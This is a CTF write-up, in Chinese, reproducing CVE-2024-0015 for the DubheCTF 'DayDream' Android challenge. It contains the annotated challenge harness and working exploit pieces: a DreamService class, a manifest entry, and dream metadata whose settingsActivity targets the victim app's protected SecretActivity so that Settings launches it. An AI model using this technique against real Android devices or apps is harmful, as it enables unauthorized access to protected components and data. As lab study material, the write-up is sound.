CVE-2024-0015复现 (DubheCTF DayDream)

print_to_user("Welcome to DubheCTF2024 DayDream! Please proof of work to continue.n")
# sha256的爆破，忘了哪个比赛放pwntools爆破的github链接来着emmm
if not proof_of_work():             
    print_to_user("Please proof of work again, exit...n")
    exit(-1)

# 输入一个apk url，对于没接触过android的人来说可能不知道这是干什么
# 因为android安全中经常做的事情就是写一个AttackApk去攻击目标apk
# 所以这里需要你写的AttackApk的公网下载链接
print_to_user("Please enter your apk url:")

url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
# 校验下载的apk
if not check_apk(EXP_FILE):         
    print_to_user("Invalid apk file.n")
    exit(-1)
# 启动模拟器
emulator = setup_emulator()
adb(["wait-for-device"])

wait_for_device_boot_complete()
# 直接给你ban咯，readme.md里有说，不过提了一嘴parcel序列化让我想起了2017的那几个洞
adb(["shell", "su", "root", "pm", "disable", "com.android.settings/.accounts.AddAccountSettings"])
# 安装目标apk
adb_install(APK_FILE)
# 启动目标apk
adb_activity(f"{VICTIM}/.MainActivity", wait=True)
# 使用广播将flag文件写入模拟器环境
with open(FLAG_FILE, "r") as f:
    adb_broadcast(f"com.tsctf.SET_FLAG", f"{VICTIM}/.FlagReceiver", extras={"flag": f.read()})
# 安装攻击apk
adb_install(EXP_FILE)
# 启动攻击apk
adb_activity(f"{ATTACKER}/.MainActivity")
# 攻击
one_click()
print_to_user("One_click finished! The logcat log will be output after 5 seconds.n")
# 将SecretActivity的日志打印出来，如果SecretActivity被调用了，这里就会输出flag
adb(["shell","logcat -d -s SecretActivity", ">" ,"/logcat_"+ str(ADB_PORT) + ".txt"])

def one_click():
# 打开屏保设置页面
    adb(["shell", "am", "start", "-a", "android.settings.DREAM_SETTINGS"])
    adb(["shell", "sleep", "10"])
# 向下滑（排除误差哈哈哈）
    adb(["shell", "input", "keyevent", "KEYCODE_DPAD_DOWN"])
    adb(["shell", "sleep", "1"])
# 回车，这里就是选择屏保样式
    adb(["shell", "input", "keyevent", "KEYCODE_ENTER"])
    adb(["shell", "sleep", "5"])
# 点击对应的选项，这里就是在选择我们编写的屏保部分
    adb(["shell", "input", "tap", "675", "1415"])
    adb(["shell", "sleep", "5"])
# 点击那个最最最关键的设置按钮
    adb(["shell", "input", "tap", "1256", "842"])
    adb(["shell", "sleep", "1"])

package com.tsctf.daydream;
import android.service.dreams.DreamService;

public class MyService extends DreamService {

    @Override
    public void onAttachedToWindow() {
        super.onAttachedToWindow();

        // Exit dream upon user touch
        setInteractive(false);
        // Hide system UI
        setFullscreen(true);
        // Set the dream layout

    }
}

<service
            android:name=".MyService"
            android:label="Test"
            android:enabled="true"
            android:exported="true"
            android:permission="android.permission.BIND_DREAM_SERVICE">
            <intent-filter>
                <action android:name="android.service.dreams.DreamService" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
            <meta-data
                android:name="android.service.dream"
                android:resource="@xml/test_dream_metadata" />
        </service>

<?xml version="1.0" encoding="utf-8"?>
<dream xmlns:android="http://schemas.android.com/apk/res/android"
    android:settingsActivity="com.tsctf.victimapp/.SecretActivity"/>